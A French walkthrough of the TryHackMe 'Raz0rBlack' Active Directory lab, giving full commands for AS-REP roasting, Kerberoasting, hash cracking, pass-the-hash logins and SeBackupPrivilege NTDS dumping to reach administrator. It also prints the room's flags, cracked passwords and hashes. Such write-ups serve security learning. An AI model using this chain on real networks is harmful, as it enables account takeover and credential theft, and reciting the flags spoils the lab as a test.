Raz0rBlack est un excellent CTF de TryHackMe qui orienté sur l’exploitation de Kerberos ( ASREPRoast, Kerberosting) par le biais d’une énumération SMB et NFS.
nmap -T5 -p- 10.10.13.255
raz0rblack.thm
La première réponse à trouver est le nom de domaine. Ça peut ne pas paraitre évidant, mais lorsque qu’il y a les ports 53, 88, 389, 464, 636 sont ouverts cela signifie que l’on est certainement face à un contrôleur de domaine Active Directory. Le nom de domaine est donc une information importante. Pour l’obtenir, en règle générale ce n’est pas compliqué. Des outils comme nmap, enum4linux peuvent nous fournir cette information.
Commande nmap ( sur le port 3389 ) :
nmap -sV -p 3389 « ––script=banner » 10.10.13.255
Commande nmap ( sur le port 389 (ldap) ou 3268 ) :
nmap -sV -p 389,3268 10.10.13.255
Commande enum4linux :
enum4linux 10.10.13.255
THM{ab53e05c9a98def00314a14ccbfa8104}
Pour cette question, j’ai trouvé la réponse par hasard, sans chercher le flag. C’est en énumérant le partage NFS que je suis tombé dessus. Pour énumérer le port 111, on peut utiliser plusieurs outils la aussi. ( nmap, showmount…)
Commande avec nmap :
nmap -sV –script=nfs* 10.10.48.153 -p 111
Commande showmount :
showmount -e 10.10.2.190
Montage du volume users :
Avant de le monter il faut créer un dossier de destination.
mkdir razor
mount -t nfs 10.10.2.190:/users razor/
On a deux fichiers.
Le fichier sbradley.txt contient le flag mais aussi il correspond au nom d’un utilisateur ou plus tôt à son login : sbradley. C’est probablement le format pour les logins.
Le fichier employee_status.xlsx quant à lui donne une liste des prénoms ;noms qui va nous servir à récupérer des hashes.
Avec cette liste d’utilisateur on va créer un fichier de login « pnom » et voir avec GetNPUsers.py si certains comptes ont la pré-authentification de configurer. ( PREAUTH ) Pour cela, il nous faut une liste d’utilisateur ( que l’on vient de créer ) et le nom de domaine. Nous l’avons obtenu plus haut. ( RAZ0RBLACK.THM )
Commande :
python3 GetNPUsers.py ‘RAZ0RBLACK.THM/’ -usersfile users_razor2 -no-pass -dc-ip 10.10.2.190
On obtient un hash que l’on va casser avec hashcat. Le site hshcat liste les différents formats que le logiciel est capable de cracker.
Commande :
.\hashcat64.exe -m 18200 -a 0 .\hash2.txt .\rockyou.txt
Avec ce login/motdepasse, on va voir si nous avons des accès sur les partages SMB via l’outil smbmap.
Commande :
smbmap -H 10.10. 2.190 -u twilliams -p roastpotatoes
IPC$ est en read only, il est donc possible de lister les utilisateurs du domaine avec au moins deux outils : crackmapexec et lookupsid
Commande crackmapexec :
crackmapexec smb 10.10.0.30 -u ’twilliams’ -p ‘roastpotatoes’ –rid-brute
Nous récupérons une nouvelle liste d’utilisateur :
J’ai été bloqué plus ou moins longtemps sur cette partie. Finalement, j’ai tenté de voir si le mot de passe n’aurait pas été réutilisé. À nouveau avec crackmapexec, il est possible de faire cette vérification.
Commande :
crackmapexec smb 10.10.0.30 -u users_razor -p password_razor
L’utilisateur sbradley doit changer son mot de passe. Bien, nous allons le changer avec smbpasswd.
Commande :
smbpasswd -r 10.10.0.30 -U sbradley
Maintenant que l’on connait le mot de passe de sbradley, nous allons énumérer les partages SMB.
Commande :
smbmap -H 10.10.170.110 -u sbradley -p ‘toto1234’
L’accès au dossier trash est maintenant possible. Nous allons récupérer tous les fichiers.
Commande :
smbclient \\\\10.10.170.110\\trash -U sbradley
mget *
electromagnetismo
Récupération des données du fichier experiment_gone_wrong.zip. Comme il est verrouillé par un mot de passe, il faut utiliser john pour pouvoir cracker le mot de passe.
Commande :
zip2john experiment_gone_wrong.zip > experiment_gone_wrong.zip.john
john experiment_gone_wrong.zip.john –wordlist=/usr/share/wordlists/rockyou.txt
Le fichier zip contient un fichier system.hive et ntds.dit. Ils contiennent les mots de passe du système. On va les utiliser pour accèder au système.
f220d3988deb3f516c73f40ee16c431d
THM{694362e877adef0d85a92e6d17551fe4}
Auparavant, il faut les extraire. Pour cela, il faut utiliser l’outil secretdump d’Impacket.
Commande :
python3.9 secretsdump.py -system /root/trytohackme/RAZ0RBLACK/system.hive -ntds /root/trytohackme/RAZ0RBLACK/ntds.dit LOCAL > razor_ntds.dit
Le fichier contient de très nombreuses lignes contenant des hashes de mot de passe. Il faut extraire uniquement les hashes. Pour cela, on peut utiliser l’outil cut.
cat ntds.razor | cut -d « : » -f 4 > razor.hashes.cut
Avec la liste de hash, on va a nouveau utilise crackmapexec et voir si un des hash permet d’accèder au système.
crackmapexec smb 10.10.170.110 -u users_razor2 -H razor.hashes.cut
On obtient le hash de lvetrova. On va essayer de se connecter avec evil-winrm.
Commande :
ruby evil-winrm.rb -i 10.10.170.100 -u lvetrova -H f220d3988deb3f516c73f40ee16c431d
A la racine du dossier de l’utilisateur lvetrova, se trouve un fichier lvetrova.xml qui contient un mot de passe encodé. Pour en savoir plus sur comment décoder le fichier, je vous invite à aller sur ce site.
Commande :
$Credential = Import-Clixml -Path « .\lvetrova.xml »
$Credential.GetNetworkCredential().password
Nous avons trois informations :
Elles vont nous permettre de récupérer le hash d’un autre utilisateur avec cette commande :
python3.9 GetUserSPNs.py -dc-ip 10.10.5.149 raz0rblack.thm/lvetrova -hashes f220d3988deb3f516c73f40ee16c431d:f220d3988deb3f516c73f40ee16c431d -outputfile hashes.razor
cyanide9amine5628
What is Xyan1d3’s Flag?
THM{62ca7e0b901aa8f0b233cade0839b5bb}
Même principe que tout à l’heure, il faut determiné le type de hash.
Commande :
.\hashcat64.exe -m 13100 -a 0 .\hash2.txt .\rockyou.txt
ruby evil-winrm.rb -i 10.10.5.149 -u xyan1d3 -p cyanide9amine5628
Comme souvent sur Windows, l’une des premières commande à effectuer est whoami /all.
On peut voir que le privilège SeBackupPrivilege est activé. Plusieurs sites montre comment faire. On retrouve aussi cette escalade de privilège sur la box Fusion Corp
Ce qu’on va faire, c’est monté le disque c : sur un disque temporaire afin d’extraire le fichier ntds.dit et la clé de registre system.
Création fichier diskshadow.txt :
Une fois le fichier créer, il faut créer un dossier /temp à la racine du disque dur et ensuite uploader le fichier shadow.txt à l’intérieur.
Commande :
upload shadow.txt
Une fois copié, il faut exécuter la commande suivante pour monter une copie du disque c :
Commande :
diskshadow.exe /s c:\temp\diskshadow.txt
Afin d’extraire le contenu de ntds.dit et system, il faut utiliser ses deux fichiers dll.
Ils sont disponibles à cette adresse.
Commande :
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Importation des modules :
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Extraction des fichiers :
copy-filesebackupprivilege h:\windows\ntds\ntds.dit C:\temp\ntds.dit -overwrite
reg save HKLM\SYSTEM c:\temp\system
Téléchargement des fichiers :
upload ntds.dit
upload system
Récupération du hash du compte administrator :
python3.9 secretsdump.py -system /root/tools/windows/initial_shell/evil-winrm/system -ntds /root/tools/windows/initial_shell/evil-winrm/ntds.dit LOCAL
ruby evil-winrm.rb -i 10.10.5.149 -u administrator -H 9689931bed40ca5a2ce1218210177f0
Il faut prendre le code en hex et le decoder avec cyberchef
THM{1b4f46cc4fba46348273d18dc91da20d}
THM{5144f2c4107b7cab04916724e3749fb0}
type definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_not_a_flag.exe
:wq
cd « C:\Program Files\Top Secret »
That’s all folks
Si vous avez apprécier ce write-up n’hésitez pas à le partager!!!!